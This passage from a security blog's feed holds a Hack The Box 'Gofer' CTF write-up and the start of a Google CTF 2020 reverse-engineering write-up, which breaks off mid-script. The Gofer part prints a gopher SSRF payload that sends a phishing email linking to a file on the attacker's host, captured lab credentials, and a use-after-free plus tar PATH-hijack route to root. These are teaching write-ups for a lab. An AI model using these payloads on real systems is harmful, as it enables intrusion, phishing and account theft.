&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gopher://2130706433:25 # 127.0.0.1 converted to decimal.
		       # Don&apos;t worry, it&apos;s RFC compliant!
/xHELO gofer.htb%0d%0a # SMTP commands to send the email
MAIL FROM:&amp;lt;hacker@site.com&amp;gt;%0d%0a
RCPT TO:&amp;lt;jhudson@gofer.htb&amp;gt;%0d%0a # Our target&apos;s mail address
DATA%0d%0a
From: [Hacker] &amp;lt;hacker@site.com&amp;gt;%0d%0a
To: &amp;lt;jhudson@gofer.htb&amp;gt;%0d%0a
Date: Tue, 15 Sep 2017 17:20:26 -0400%0d%0a
Subject: AH AH AH%0d%0a
%0d%0a
You didn&apos;t say the magic word ! &amp;lt;a href=&apos;http://10.10.
14.114:8000/test.odt&apos;&amp;gt;this&amp;lt;/a&amp;gt;%0d%0a # A hyperlink via HTML
%0d%0a%0d%0a.%0d%0a
QUIT%0d%0a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Remember Jocelyn likes links so we included a link to our ODT document. If everything was written just right, sending this payload will trigger the SSRF:&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/ssrf2.png&quot; /&gt;&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/ssrf3.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Okay I didn’t just show you the same screenshot twice, notice that we obtained a shell. Great.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/flag1.png&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;the-route-to-root&quot;&gt;The Route to Root&lt;/h3&gt;
&lt;p&gt;Sorry for the pun. Couldn’t help myself. Anyway.
Now that we have a foothold, we need to make ourselves root. Let’s do some more recon:&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/stickybits.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;A good escalation point would be to look at the available files with SUID. After a quick look around we have some files with sticky bits.
What stands out the most is the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;notes&lt;/code&gt; binary that can only be executed by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt; or someone from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dev&lt;/code&gt;.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/groups.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Currently we are not in the same group as Tom who is from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dev&lt;/code&gt;. We’re in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;netdev&lt;/code&gt; otherwise known as the “the hacker’s wet dream” department.
Anyway, we’ll need to access the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dev&lt;/code&gt; group somehow, but how?
Looking around, we have access to the credentials for the proxy earlier. Maybe we can crack it?&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/htpasswd.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nah, crack that. No easy wins for challenges like these. Let’s probe further.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/traffic.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can see a lot of traffic coming in for HTTP. Curiously though, we can see some being made internally from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;127.0.0.1&lt;/code&gt;.
Running linpeas, we’ll get some interesting info. We can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tcpdump&lt;/code&gt;.&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/linpeas1.png&quot; /&gt;&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/linpeas2.png&quot; /&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;tcpdump -i lo -A
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Seemed like a longshot to be honest. When you run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;linpeas&lt;/code&gt;, you know you’re out of options by that point. But then again it’s prudent to use tools when covering bases.&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/tcpdump.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;At first glance, I thought this came from people trying to bruteforce the proxy. But then again I am sniffing the loopback interface so this clearly came from inside. When we decode the creds, we get Tom’s creds!&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;rax2 -D dGJ1Y2tsZXk6b29QNGRpZXRpZTNvX2hxdWFldGk=
tbuckley:ooP4dietie3o_hquaeti
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/ssh.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;When you crack the creds from htpasswd, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hashcat -m 1600 hash decoded&lt;/code&gt;, you’ll get the same creds.
All that’s left is to leverage the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;notes&lt;/code&gt; binary.&lt;/p&gt;

&lt;h3 id=&quot;lazy-re&quot;&gt;Lazy RE&lt;/h3&gt;
&lt;p&gt;I usually use a disassembler/debugger for this part but decided against it. The binary was easy to understand by simply playing around with it.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/notes1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This binary basically just creates users and notes that only exist while it’s running. A user is given the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user&lt;/code&gt; role by default. Option 8 is reserved only for users in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin&lt;/code&gt; role. But there is no option to switch/assign/create this role.&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/notes2.png&quot; /&gt;&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/notes3.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Looking at the strings output we can see certain lengths for username and notes, 23 and 39 respectively.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/notes_strings.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Interestingly, we can see &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tar -czvf /root/backups/backup_notes.tar.gz /opt/notes&lt;/code&gt; which can be hijacked. But by default this is only reachable via Option 8. This is the puzzle we must solve.&lt;/p&gt;

&lt;p&gt;Let’s produce some patterns:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ragg2 -P 24 -r
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;If we try exceeding the buffer with our input, we can observe the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Role&lt;/code&gt; buffer was modified.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;tbuckley@gofer:~$ notes
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice: 1

Choose an username: test

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice: 2


Username: test
Role: user

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice: 4

Write your note:
test
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice: 3

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice: 2


Username: 
Role: user

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice: 4

Write your note:
AAABAACAADAAEAAFAAGAAHAA
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice: 2


Username: AAABAACAADAAEAAFAAGAAHAA
Role: 

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice: 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/notes4.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can observe the following:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Creating a user will create two buffers, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;role&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Deleting the user will release the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user&lt;/code&gt; buffer but not the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;role&lt;/code&gt; buffer&lt;/li&gt;
  &lt;li&gt;Writing a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;note&lt;/code&gt; that exceeds the buffer length will affect the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;role&lt;/code&gt; buffer.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Given these observations, we can try to overwrite the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;role&lt;/code&gt; buffer with the value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin&lt;/code&gt; after the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user&lt;/code&gt; buffer is released by writing a a large enough note:&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/notes5.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Looks like that worked. Having overwritten the buffer, we have essentially escalated our privileges and gained the ability to backup notes. But we don’t really want to backup silly notes. We want the root flag. Let’s create a tar file and have it execute instead of the actual &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tar&lt;/code&gt; file:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;//tar file contents

#!/bin/bash
bash -i
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/suid_exploit.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After that, all that’s left is to get the flag:&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/root_flag.png&quot; /&gt;&lt;/p&gt;
</description>
        
          <description>&lt;h3 id=&quot;intro&quot;&gt;Intro&lt;/h3&gt;
&lt;p&gt;Hey. It’s been a while. Here’s a post. Trying to mix things up a bit with a ctf writeup. It’s heavy on screenshots and if you notice any anachronisms it’s because the screenshots are from the future. Just kidding. I went back and forth to get more for illustration.&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/Gofer.png&quot; /&gt;&lt;/p&gt;

</description>
        
        <pubDate>Tue, 01 Aug 2023 00:00:00 +0000</pubDate>
        <link>https://basicinfosecurity.github.io//blog/HTB-Gofer/</link>
        <guid isPermaLink="true">https://basicinfosecurity.github.io//blog/HTB-Gofer/</guid>
        
        
      </item>
      
    
      
      <item>
        <title>Google CTF 2020 beginner</title>
        <description>&lt;p&gt;&lt;em&gt;A short writeup for one of the first challenges for Google CTF 2020&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;the-challenge&quot;&gt;The Challenge&lt;/h3&gt;
&lt;p&gt;The binary is essentially a &lt;em&gt;“flag checker:”&lt;/em&gt; it checks if the input is the value of the flag.&lt;/p&gt;

&lt;h3 id=&quot;how-does-it-do-that&quot;&gt;How does it do that?&lt;/h3&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/2020-08-24-graph1.png&quot; /&gt;&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;em&gt;First Check&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;It accepts input via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scanf&lt;/code&gt;, the size being 15 characters. It then uses &lt;strong&gt;SIMD instructions&lt;/strong&gt; to check if the flag is valid.&lt;/p&gt;

&lt;h3 id=&quot;the-what&quot;&gt;The what?&lt;/h3&gt;
&lt;p&gt;Same here. Have a &lt;a href=&quot;https://en.wikipedia.org/wiki/SIMD&quot; target=&quot;_blank&quot;&gt;wiki&lt;/a&gt;.
All of that isn’t really important, save for the instructions used:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pshufb&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;paddd&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pxor&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/2020-08-24-graph2.png&quot; /&gt;&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;em&gt;Second Check&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;There are two checks:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;If the input is the same after it has been processed with the SIMD instructions, and&lt;/li&gt;
  &lt;li&gt;If the input starts with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CTF{&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/2020-08-24-disas1.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The input is shuffled in place, combined with a certain value, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xor&lt;/code&gt;ed with a key and finally compared to the original input. The shuffle order, the added and the key values are stored as objects:&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/2020-08-24-hexdump1.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;obj.XOR = 0xaaf986eb34f823d4385f1a8d49b45876&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;obj.ADD32 = 0x6763746613371337fee1deaddeadbeef&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;obj.SHUFFLE = 0x000d0c0a08040f030e090b0501070602 or [0,13,12,10,8,4,15,3,14,9,11,5,1,7,6,2]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The shuffle order is determined by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;obj.SHUFFLE&lt;/code&gt; (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1234567890abcde -&amp;gt; 1dca954e0b62873&lt;/code&gt;), followed by adding &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;obj.ADD32&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xor&lt;/code&gt;ing with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;obj.XOR&lt;/code&gt;. However, SIMD instructions are not the usual x86 instructions. They work differently, particularly &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;paddd&lt;/code&gt;. An &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add&lt;/code&gt; instruction operates like &lt;a href=&quot;https://www.felixcloutier.com/x86/add&quot; target=&quot;_blank&quot;&gt;this&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DEST ← DEST + SRC;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;But &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;paddd&lt;/code&gt; operates like &lt;a href=&quot;https://www.felixcloutier.com/x86/paddb:paddw:paddd:paddq&quot;&gt;this&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DEST[31:0] ← DEST[31:0] + SRC[31:0];
DEST[63:32] ← DEST[63:32] + SRC[63:32];&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The former combines two values and stores them in the destination register. The latter breaks up the values into “double words” (32-bits) and performs addition on each double word. If the resulting sum is larger than 32-bits, it is wrapped around dropping the carry-over bits. In other words, if it’s too big, the excess is removed and the remainder is kept. The result is less accurate than the actual sum but this is crucial in finding the value of the flag.&lt;/p&gt;

&lt;h3 id=&quot;but-wait&quot;&gt;But wait&lt;/h3&gt;
&lt;p&gt;How is the flag found? How to get what is supposed to be looked for? Fortunately, there are two pieces of information to find the flag:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;It starts with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CTF{&lt;/code&gt; and,&lt;/li&gt;
  &lt;li&gt;It is 15 characters long.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Surprisingly, these are enough to find the flag with a potential third piece of information (i.e. It must be composed of printable characters). The flag’s value is bruteforced for all values that pass the checks. The checks are very stringent, decreasing the possible values to find. The complex part of finding the flag is in the implementation of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;paddd&lt;/code&gt;:&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/2020-08-24-func1.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The function breaks up (shuffled) input and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;obj.ADD32&lt;/code&gt; each into 4 segments:&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/2020-08-24-func2.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Each segment is matched and added to the corresponding segment and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xor&lt;/code&gt;ed with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xffffffff&lt;/code&gt; removing the carry-bits/excess value. Finally, the resulting segments are combined back into one.&lt;/p&gt;

&lt;p&gt;To bruteforce the flag, the result of the first check is checked for printable characters. If any are found, they replace the placeholders in the flag:&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/2020-08-24-bf1.png&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;code&quot;&gt;Code&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/env python3
&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;binascii&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;prefix&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;CTF{&quot;&lt;/span&gt;
	
	&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;x&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;prefix&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&lt;/span&gt;
	
	&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Array: &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;shuffled&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shuffle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;	
		&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Shuffled: &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shuffled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;sum32&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;add32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shuffled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Sum: &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sum32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;xorCheck&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;binascii&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unhexlify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sum32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:])[::&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;XOR Check: &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xorCheck&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;tmp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xorCheck&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tmp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
